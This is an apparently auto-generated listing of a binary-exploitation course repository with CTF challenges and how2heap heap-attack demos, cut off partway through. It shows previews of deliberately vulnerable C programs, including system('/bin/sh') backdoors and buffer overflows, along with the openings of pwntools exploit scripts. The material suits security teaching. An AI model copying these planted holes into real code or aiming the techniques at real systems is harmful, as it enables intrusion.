FILE: 2022/week3/hw/miniums/share/test.py
  function send_idx (line 10) | def send_idx(r, index):
  function send_size (line 13) | def send_size(r, size):
  function add_user (line 16) | def add_user(r, index, username):
  function edit_data (line 23) | def edit_data(r, index, size, data, auto_fill=True):
  function del_user (line 34) | def del_user(r, index, wait_for_msg=True):
  function show_users (line 42) | def show_users(r):
  function do_aaw (line 47) | def do_aaw(r):
  function attack (line 50) | def attack(r):
  function main (line 113) | def main():

FILE: 2022/week3/lab/aar/share/aar.c
  function main (line 8) | int main()

FILE: 2022/week3/lab/aar/share/example.c
  function aar (line 6) | void aar(FILE *fp, void *addr, int size)
  function main (line 17) | int main()

FILE: 2022/week3/lab/aaw/share/aaw.c
  function main (line 10) | int main()

FILE: 2022/week3/lab/aaw/share/example.c
  function aaw (line 6) | void aaw(FILE *fp, void *addr, int size)
  function main (line 18) | int main()

FILE: how2heap/bypass_safe_linking.c
  function bypass_demo (line 24) | int bypass_demo() {
  function main (line 85) | int main()

FILE: how2heap/decrypt_safe_linking.c
  function decrypt (line 5) | long decrypt(long cipher)
  function main (line 26) | int main()

FILE: how2heap/fastbin_dup.c
  function main (line 5) | int main()

FILE: how2heap/fastbin_reverse_into_tcache.c
  function main (line 6) | int main()

FILE: how2heap/house_of_botcake.c
  function main (line 6) | int main()

FILE: how2heap/house_of_einherjar.c
  function main (line 6) | int main()

FILE: how2heap/house_of_lore.c
  function jackpot (line 7) | void jackpot()
  function main (line 13) | int main()

FILE: how2heap/house_of_mind_fastbin.c
  function main (line 8) | int main()

FILE: how2heap/large_bin_attack.c
  function main (line 5) | int main()

FILE: how2heap/ld_change.py
  function change_ld (line 12) | def change_ld(binary, ld):

FILE: how2heap/mmap_overlapping_chunks.c
  function main (line 5) | int main()

FILE: how2heap/poison_null_byte.c
  function main (line 7) | int main()

FILE: how2heap/tcache_house_of_spirit.c
  function main (line 6) | int main()

FILE: how2heap/tcache_poisoning.c
  function main (line 6) | int main()

FILE: how2heap/tcache_stashing_unlink_attack.c
  function main (line 6) | int main()

FILE: how2heap/unsafe_unlink.c
  function main (line 7) | int main()
Condensed preview — 367 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (287K chars).
[
  {
    "path": ".gitignore",
    "chars": 37,
    "preview": ".DS_Store\n.gdb_history\n.vscode\npwnbox"
  },
  {
    "path": "2021/README.md",
    "chars": 2765,
    "preview": "## 2021 年\n\n## Week 1: Binary Exploitation I\n> linux 相關的基礎知識如 ELF struct 與 calling convention、介紹不同的保護機制與攻擊方法\n- 影片: [video"
  },
  {
    "path": "2021/eof-final/exp/logger.py",
    "chars": 2870,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n# r = process"
  },
  {
    "path": "2021/eof-final/exp/sugar.py",
    "chars": 950,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n# python3 sug"
  },
  {
    "path": "2021/eof-final/exp/two-gadget.py",
    "chars": 1794,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif"
  },
  {
    "path": "2021/eof-final/logger/Dockerfile",
    "chars": 250,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/eof-final/logger/docker-compose.yml",
    "chars": 194,
    "preview": "version: '3'\n\nservices:\n  logger:\n    build: ./\n    volumes:\n      - ./share:/home/logger:ro\n      - ./xinetd:/etc/xinet"
  },
  {
    "path": "2021/eof-final/logger/share/Makefile",
    "chars": 83,
    "preview": "all:\n\tgcc -o logger logger.c -lseccomp\n\ndebug:\n\tgcc -g -o logger logger.c -lseccomp"
  },
  {
    "path": "2021/eof-final/logger/share/flag",
    "chars": 10,
    "preview": "FLAG{TEST}"
  },
  {
    "path": "2021/eof-final/logger/share/logger.c",
    "chars": 2165,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <seccomp.h>\n\nvoid init_proc()\n{\n"
  },
  {
    "path": "2021/eof-final/logger/share/run.sh",
    "chars": 58,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/logger/logger"
  },
  {
    "path": "2021/eof-final/logger/xinetd",
    "chars": 218,
    "preview": "service logger\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/log"
  },
  {
    "path": "2021/eof-final/sugar/Dockerfile",
    "chars": 247,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/eof-final/sugar/docker-compose.yml",
    "chars": 191,
    "preview": "version: '3'\n\nservices:\n  sugar:\n    build: ./\n    volumes:\n      - ./share:/home/sugar:ro\n      - ./xinetd:/etc/xinetd."
  },
  {
    "path": "2021/eof-final/sugar/share/Makefile",
    "chars": 59,
    "preview": "all:\n\tgcc -o sugar sugar.c\n\ndebug:\n\tgcc -g -o sugar sugar.c"
  },
  {
    "path": "2021/eof-final/sugar/share/flag",
    "chars": 10,
    "preview": "FLAG{TEST}"
  },
  {
    "path": "2021/eof-final/sugar/share/run.sh",
    "chars": 56,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 10 /home/sugar/sugar"
  },
  {
    "path": "2021/eof-final/sugar/share/sugar.c",
    "chars": 410,
    "preview": "#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(s"
  },
  {
    "path": "2021/eof-final/sugar/xinetd",
    "chars": 215,
    "preview": "service sugar\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/suga"
  },
  {
    "path": "2021/eof-final/two-gadget/Dockerfile",
    "chars": 282,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/eof-final/two-gadget/docker-compose.yml",
    "chars": 206,
    "preview": "version: '3'\n\nservices:\n  two-gadget:\n    build: ./\n    volumes:\n      - ./share:/home/<redacted>:ro\n      - ./xinetd:/e"
  },
  {
    "path": "2021/eof-final/two-gadget/share/Makefile",
    "chars": 99,
    "preview": "all:\n\tgcc -o two-gadget two-gadget.c -lseccomp\n\ndebug:\n\tgcc -g -o two-gadget two-gadget.c -lseccomp"
  },
  {
    "path": "2021/eof-final/two-gadget/share/flag",
    "chars": 10,
    "preview": "FLAG{TEST}"
  },
  {
    "path": "2021/eof-final/two-gadget/share/run.sh",
    "chars": 66,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/<redacted>/two-gadget"
  },
  {
    "path": "2021/eof-final/two-gadget/share/two-gadget.c",
    "chars": 680,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <seccomp.h>\n\nvoid init_proc()\n{\n    setvbuf(stdin, 0"
  },
  {
    "path": "2021/eof-final/two-gadget/xinetd",
    "chars": 230,
    "preview": "service two-gadget\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home"
  },
  {
    "path": "2021/eof-qual/fullchain-buff/README.md",
    "chars": 6432,
    "preview": "## 非預期解\n\n大致步驟為:\n\n1. leak stack address\n2. write fmtstr in global\n3. use fsb to overwrite `cnt` or return address\n\n\n\n因為 `"
  },
  {
    "path": "2021/eof-qual/hello-world/README.md",
    "chars": 1417,
    "preview": "此題沒有附上 source code,單純是要考為 function 加上 `__attribute__((destructor))` 的屬性後,該 function 就會在 `_dl_fini()` 時被呼叫:\n\n``` c\nstatic"
  },
  {
    "path": "2021/eof-qual/myfs/README.md",
    "chars": 4991,
    "preview": "這題基本上就是考看 code + 找洞,利用相較容易,**flag2** 的問題最明顯,因為沒事不會設計成可以篡改加密的檔案,還做 padding 跟檢查 padding,寫法有夠怪應該是最容易發現。\n\n解掉 **flag1** 也能解 *"
  },
  {
    "path": "2021/quals/exp/fullchain-buff.py",
    "chars": 1637,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif"
  },
  {
    "path": "2021/quals/exp/hello-world.py",
    "chars": 549,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif"
  },
  {
    "path": "2021/quals/exp/myfs-fuzz.py",
    "chars": 2776,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport random\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n"
  },
  {
    "path": "2021/quals/exp/myfs.py",
    "chars": 5552,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\nimport string\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'spli"
  },
  {
    "path": "2021/quals/fullchain-buff/Dockerfile",
    "chars": 274,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/quals/fullchain-buff/docker-compose.yml",
    "chars": 218,
    "preview": "version: '3'\n\nservices:\n  fullchain-buff:\n    build: ./\n    volumes:\n      - ./share:/home/fullchain-buff:ro\n      - ./x"
  },
  {
    "path": "2021/quals/fullchain-buff/share/Makefile",
    "chars": 60,
    "preview": "all:\n\tgcc -no-pie -z now -o fullchain-buff fullchain-buff.c\n"
  },
  {
    "path": "2021/quals/fullchain-buff/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/quals/fullchain-buff/share/fullchain-buff.c",
    "chars": 1126,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n\nchar global[0x20];\n\nvoid myread(char *ad"
  },
  {
    "path": "2021/quals/fullchain-buff/share/run.sh",
    "chars": 74,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/fullchain-buff/fullchain-buff"
  },
  {
    "path": "2021/quals/fullchain-buff/xinetd",
    "chars": 242,
    "preview": "service fullchain-buff\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /"
  },
  {
    "path": "2021/quals/myfs/Dockerfile",
    "chars": 359,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/quals/myfs/build.sh",
    "chars": 39,
    "preview": "#!/bin/bash\ndocker build -t myfs_myfs ."
  },
  {
    "path": "2021/quals/myfs/pow.py",
    "chars": 1110,
    "preview": "#!/usr/bin/env python3\nimport secrets\nimport hashlib\nimport subprocess\n\n##\n# https://github.com/balsn/proof-of-work/blob"
  },
  {
    "path": "2021/quals/myfs/run.sh",
    "chars": 50,
    "preview": "#!/bin/bash\n\npython3 /home/admin/quals/myfs/pow.py"
  },
  {
    "path": "2021/quals/myfs/setup.sh",
    "chars": 107,
    "preview": "#!/bin/bash\n\nset -e\n\nsudo apt install xinetd\nsudo cp xinetd /etc/xinetd.d/myfs\n/usr/sbin/xinetd -dontfork &"
  },
  {
    "path": "2021/quals/myfs/share/Makefile",
    "chars": 62,
    "preview": "all:\n\tgcc -o myfs main.c fs.c gc.c user.c mycrypto.c -lcrypto\n"
  },
  {
    "path": "2021/quals/myfs/share/flag1.txt",
    "chars": 10,
    "preview": "FLAG{TEST}"
  },
  {
    "path": "2021/quals/myfs/share/flag2.txt",
    "chars": 10,
    "preview": "FLAG{TEST}"
  },
  {
    "path": "2021/quals/myfs/share/flag3.txt",
    "chars": 10,
    "preview": "FLAG{TEST}"
  },
  {
    "path": "2021/quals/myfs/share/fs.c",
    "chars": 11370,
    "preview": "#include \"fs.h\"\n#include \"list.h\"\n#include \"gc.h\"\n#include \"mycrypto.h\"\n#include <stdio.h>\n#include <string.h>\n#include "
  },
  {
    "path": "2021/quals/myfs/share/fs.h",
    "chars": 4080,
    "preview": "#ifndef _FS_H_\n#define _FS_H_\n\n#include \"list.h\"\n#include \"gc.h\"\n#include <stdint.h>\n#include <sys/types.h>\n\n#define MF_"
  },
  {
    "path": "2021/quals/myfs/share/gc.c",
    "chars": 184,
    "preview": "#include \"gc.h\"\n#include <stdlib.h>\n\nGC *new_gc()\n{\n    GC *gc = (GC *) malloc(sizeof(GC));\n    gc->delcnt = 0;\n    gc->"
  },
  {
    "path": "2021/quals/myfs/share/gc.h",
    "chars": 211,
    "preview": "#ifndef _GC_H_\n#define _GC_H_\n\n#include \"list.h\"\n#include <stdint.h>\n\ntypedef struct _GC {\n    uint32_t delcnt;\n    int "
  },
  {
    "path": "2021/quals/myfs/share/list.h",
    "chars": 654,
    "preview": "#ifndef _LIST_H_\n#define _LIST_H_\n\n#include <stdio.h>\n\n#define offsetof(type, member) ((size_t) &((type*)0)->member)\n#de"
  },
  {
    "path": "2021/quals/myfs/share/main.c",
    "chars": 11132,
    "preview": "#include \"fs.h\"\n#include \"user.h\"\n#include \"gc.h\"\n#include \"list.h\"\n#include <stdio.h>\n#include <string.h>\n#include <std"
  },
  {
    "path": "2021/quals/myfs/share/mycrypto.c",
    "chars": 2342,
    "preview": "#include \"mycrypto.h\"\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <openssl/a"
  },
  {
    "path": "2021/quals/myfs/share/mycrypto.h",
    "chars": 307,
    "preview": "#ifndef _CRYPTO_H_\n#define _CRYPTO_H_\n#define AES_KEY_LENGTH 16\n    \n#include <openssl/aes.h>\n#include <stdint.h>\n\nvoid "
  },
  {
    "path": "2021/quals/myfs/share/run.sh",
    "chars": 56,
    "preview": "#!/bin/bash\n\nexec 2>/dev/null\ntimeout 60 /home/myfs/myfs"
  },
  {
    "path": "2021/quals/myfs/share/user.c",
    "chars": 1965,
    "preview": "#include \"user.h\"\n#include \"fs.h\"\n#include <stdlib.h>\n#include <string.h>\n\nconst uint32_t mu_max_user_cnt = 0x100;\nstati"
  },
  {
    "path": "2021/quals/myfs/share/user.h",
    "chars": 1111,
    "preview": "#ifndef _USER_H_\n#define _USER_H_\n\n#include <stdint.h>\n#define MU_DIR_MAX_DEEP 8\n#define MU_MAX_USER_NUM 0x100\n#define M"
  },
  {
    "path": "2021/quals/myfs/xinetd",
    "chars": 206,
    "preview": "service myfs\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/admin"
  },
  {
    "path": "2021/week1/demo/Makefile",
    "chars": 728,
    "preview": "all: demo_shellcode demo_ROP demo_BOF1 demo_BOF2_leak_canary demo_canary demo_GOT demo_one_gadget_with_ROP demo_stack_pi"
  },
  {
    "path": "2021/week1/demo/demo_BOF1.c",
    "chars": 289,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nvoid backdoor()\n{\n    system(\"/bin/sh\");\n}\n\nint main()\n{\n   "
  },
  {
    "path": "2021/week1/demo/demo_BOF1.py",
    "chars": 374,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('"
  },
  {
    "path": "2021/week1/demo/demo_BOF2_leak_canary.c",
    "chars": 410,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nvoid backdoor()\n{\n    system(\"/bin/sh\");\n}\n\nint main()\n{\n   "
  },
  {
    "path": "2021/week1/demo/demo_BOF2_leak_canary.py",
    "chars": 490,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('"
  },
  {
    "path": "2021/week1/demo/demo_GOT.c",
    "chars": 181,
    "preview": "#include <stdio.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    \n    puts(\"1. "
  },
  {
    "path": "2021/week1/demo/demo_GOT.sh",
    "chars": 100,
    "preview": "#!/bin/bash\n\ngdb ./demo_GOT -ex 'set exec-wrapper env \"LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so\"'"
  },
  {
    "path": "2021/week1/demo/demo_ROP.c",
    "chars": 273,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0)"
  },
  {
    "path": "2021/week1/demo/demo_ROP.py",
    "chars": 625,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('"
  },
  {
    "path": "2021/week1/demo/demo_canary.c",
    "chars": 237,
    "preview": "#include <stdio.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    \n    char buf["
  },
  {
    "path": "2021/week1/demo/demo_canary.sh",
    "chars": 164,
    "preview": "#!/bin/bash\n\ngdb ./demo_canary -ex 'set exec-wrapper env \"LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so\"'\n\n# pwndbg> tls\n#"
  },
  {
    "path": "2021/week1/demo/demo_fmt.c",
    "chars": 336,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(s"
  },
  {
    "path": "2021/week1/demo/demo_fmt.py",
    "chars": 331,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('"
  },
  {
    "path": "2021/week1/demo/demo_one_gadget_with_ROP.c",
    "chars": 219,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0)"
  },
  {
    "path": "2021/week1/demo/demo_one_gadget_with_ROP.py",
    "chars": 686,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr "
  },
  {
    "path": "2021/week1/demo/demo_shellcode.c",
    "chars": 264,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0)"
  },
  {
    "path": "2021/week1/demo/demo_shellcode.py",
    "chars": 392,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('"
  },
  {
    "path": "2021/week1/demo/demo_stack_pivoting.c",
    "chars": 294,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n\nchar name[0x80];\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(std"
  },
  {
    "path": "2021/week1/demo/demo_stack_pivoting.py",
    "chars": 678,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('"
  },
  {
    "path": "2021/week1/hw/exp/fullchain-nerf.py",
    "chars": 1747,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif"
  },
  {
    "path": "2021/week1/hw/exp/fullchain.py",
    "chars": 3360,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr "
  },
  {
    "path": "2021/week1/hw/exp/sandbox.py",
    "chars": 501,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif"
  },
  {
    "path": "2021/week1/hw/fullchain/Dockerfile",
    "chars": 259,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/week1/hw/fullchain/docker-compose.yml",
    "chars": 203,
    "preview": "version: '3'\n\nservices:\n  fullchain:\n    build: ./\n    volumes:\n      - ./share:/home/fullchain:ro\n      - ./xinetd:/etc"
  },
  {
    "path": "2021/week1/hw/fullchain/share/Makefile",
    "chars": 78,
    "preview": "all:\n\tgcc -g -fstack-protector-all -z lazy -o fullchain fullchain.c -lseccomp\n"
  },
  {
    "path": "2021/week1/hw/fullchain/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/week1/hw/fullchain/share/fullchain.c",
    "chars": 2063,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n#include <seccomp.h>\n\nchar global[0x10];\n"
  },
  {
    "path": "2021/week1/hw/fullchain/share/run.sh",
    "chars": 64,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/fullchain/fullchain"
  },
  {
    "path": "2021/week1/hw/fullchain/xinetd",
    "chars": 227,
    "preview": "service fullchain\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/Dockerfile",
    "chars": 274,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/docker-compose.yml",
    "chars": 218,
    "preview": "version: '3'\n\nservices:\n  fullchain-nerf:\n    build: ./\n    volumes:\n      - ./share:/home/fullchain-nerf:ro\n      - ./x"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/share/Makefile",
    "chars": 87,
    "preview": "all:\n\tgcc -g -fno-stack-protector -z lazy -o fullchain-nerf fullchain-nerf.c -lseccomp\n"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/share/fullchain-nerf.c",
    "chars": 1951,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n#include <seccomp.h>\n\nchar global[0x20];\n"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/share/run.sh",
    "chars": 74,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/fullchain-nerf/fullchain-nerf"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/xinetd",
    "chars": 242,
    "preview": "service fullchain-nerf\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /"
  },
  {
    "path": "2021/week1/hw/sandbox/Dockerfile",
    "chars": 253,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/week1/hw/sandbox/docker-compose.yml",
    "chars": 197,
    "preview": "version: '3'\n\nservices:\n  sandbox:\n    build: ./\n    volumes:\n      - ./share:/home/sandbox:ro\n      - ./xinetd:/etc/xin"
  },
  {
    "path": "2021/week1/hw/sandbox/share/Makefile",
    "chars": 34,
    "preview": "all:\n\tgcc -g -o sandbox sandbox.c\n"
  },
  {
    "path": "2021/week1/hw/sandbox/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/week1/hw/sandbox/share/run.sh",
    "chars": 60,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/sandbox/sandbox"
  },
  {
    "path": "2021/week1/hw/sandbox/share/sandbox.c",
    "chars": 4792,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/mman.h>\n\nstruct _Register {"
  },
  {
    "path": "2021/week1/hw/sandbox/xinetd",
    "chars": 221,
    "preview": "service sandbox\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/sa"
  },
  {
    "path": "2021/week1/lab/Got2win/Dockerfile",
    "chars": 253,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/week1/lab/Got2win/docker-compose.yml",
    "chars": 197,
    "preview": "version: '3'\n\nservices:\n  got2win:\n    build: ./\n    volumes:\n      - ./share:/home/got2win:ro\n      - ./xinetd:/etc/xin"
  },
  {
    "path": "2021/week1/lab/Got2win/share/Makefile",
    "chars": 42,
    "preview": "all:\n\tgcc -g -no-pie -o got2win got2win.c\n"
  },
  {
    "path": "2021/week1/lab/Got2win/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/week1/lab/Got2win/share/got2win.c",
    "chars": 682,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n\nchar flag[0x30];\n\nint main()\n{\n    setvbu"
  },
  {
    "path": "2021/week1/lab/Got2win/share/run.sh",
    "chars": 60,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/got2win/got2win"
  },
  {
    "path": "2021/week1/lab/Got2win/xinetd",
    "chars": 221,
    "preview": "service got2win\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/go"
  },
  {
    "path": "2021/week1/lab/Rop2win/Dockerfile",
    "chars": 253,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/week1/lab/Rop2win/docker-compose.yml",
    "chars": 197,
    "preview": "version: '3'\n\nservices:\n  rop2win:\n    build: ./\n    volumes:\n      - ./share:/home/rop2win:ro\n      - ./xinetd:/etc/xin"
  },
  {
    "path": "2021/week1/lab/Rop2win/share/Makefile",
    "chars": 81,
    "preview": "all:\n\tgcc -g -no-pie -static -fno-stack-protector -o rop2win rop2win.c -lseccomp\n"
  },
  {
    "path": "2021/week1/lab/Rop2win/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/week1/lab/Rop2win/share/rop2win.c",
    "chars": 908,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <seccomp.h>\n\nchar fn[0x20];\nchar ROP[0x100];\n\n\n// fd = open(\"flag\", 0);\n"
  },
  {
    "path": "2021/week1/lab/Rop2win/share/run.sh",
    "chars": 60,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/rop2win/rop2win"
  },
  {
    "path": "2021/week1/lab/Rop2win/xinetd",
    "chars": 221,
    "preview": "service rop2win\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/ro"
  },
  {
    "path": "2021/week1/lab/exp/Got2win.py",
    "chars": 314,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = remote('e"
  },
  {
    "path": "2021/week1/lab/exp/Rop2win.py",
    "chars": 1183,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr "
  },
  {
    "path": "2021/week2/demo/Makefile",
    "chars": 625,
    "preview": "all: demo_double_free demo_fastbin demo_double_free demo_fastbin demo_heap_overflow demo_largebin demo_malloc_state demo"
  },
  {
    "path": "2021/week2/demo/demo_UAF.c",
    "chars": 300,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *AA, *BB;\n    \n    AA = malloc(0x10);\n    BB = malloc(0x10"
  },
  {
    "path": "2021/week2/demo/demo_UAF.sh",
    "chars": 27,
    "preview": "#!/bin/bash\n\ngdb ./demo_UAF"
  },
  {
    "path": "2021/week2/demo/demo_double_free.c",
    "chars": 555,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *dummy[7];\n    unsigned long *A, *B;\n\n    for (int i = 0; "
  },
  {
    "path": "2021/week2/demo/demo_double_free.sh",
    "chars": 35,
    "preview": "#!/bin/bash\n\ngdb ./demo_double_free"
  },
  {
    "path": "2021/week2/demo/demo_fastbin.c",
    "chars": 338,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *dummy[7];\n    void *chk1, *chk2;\n\n    for (int i = 0; i <"
  },
  {
    "path": "2021/week2/demo/demo_fastbin.sh",
    "chars": 92,
    "preview": "#!/bin/bash\n\ngdb ./demo_tcache\n\n# p *(tcache_entry*) 0x5555555593f0\n# p main_arena.fastbinsY"
  },
  {
    "path": "2021/week2/demo/demo_heap_overflow.c",
    "chars": 176,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    unsigned long *chk1 = malloc(0x10);\n    void *chk2 = malloc(0x1"
  },
  {
